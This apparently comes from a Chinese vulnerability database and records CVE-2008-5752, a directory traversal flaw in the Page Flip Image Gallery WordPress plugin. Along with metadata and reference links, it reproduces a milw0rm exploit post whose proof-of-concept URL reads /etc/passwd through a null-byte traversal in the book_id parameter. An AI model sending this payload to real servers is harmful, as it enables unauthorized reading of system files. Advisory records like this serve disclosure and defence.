Page Flip Image Gallery插件getConfig.php信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117115 漏洞类型 路径遍历
发布时间 2008-12-22 更新时间 2009-01-29
CVE编号 CVE-2008-5752 CNNVD-ID CNNVD-200812-475
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/7543
https://cxsecurity.com/issue/WLB-2009010101
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-475
|漏洞详情
WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台,该平台支持在PHP和MySQL的服务器上架设个人博客网站。PageFlipImageGallery是其中的一个通过书的模式进行图片展示的幻灯片插件。PageFlipImageGallery插件的books/getConfig.php文件中没有正确地过滤用户所提供的book_id参数,远程攻击者可以通过提交恶意请求执行目录遍历攻击,读取任意系统文件。成功攻击要求打开了magic_quotes_gpc。
|漏洞EXP
_____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

Wordpress Plugin Page Flip Image Gallery <= 0.2.2 Remote File Disclosure Vulnerability
D : http://downloads.wordpress.org/plugin/page-flip-image-gallery.0.2.2.zip
Poc : 
 /wp-content/plugins/page-flip-image-gallery/books/getConfig.php?book_id=../../../../../../../../../../../etc/passwd%00123

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-22]
|参考资料

来源:XF
名称:pageflipimagegal-getconfig-dir-traversal(47568)
链接:http://xforce.iss.net/xforce/xfdb/47568
来源:BID
名称:32966
链接:http://www.securityfocus.com/bid/32966
来源:MILW0RM
名称:7543
链接:http://www.milw0rm.com/exploits/7543
来源:SREASON
名称:4836
链接:http://securityreason.com/securityalert/4836
来源:SECUNIA
名称:33274
链接:http://secunia.com/advisories/33274
来源:OSVDB
名称:50902
链接:http://osvdb.org/50902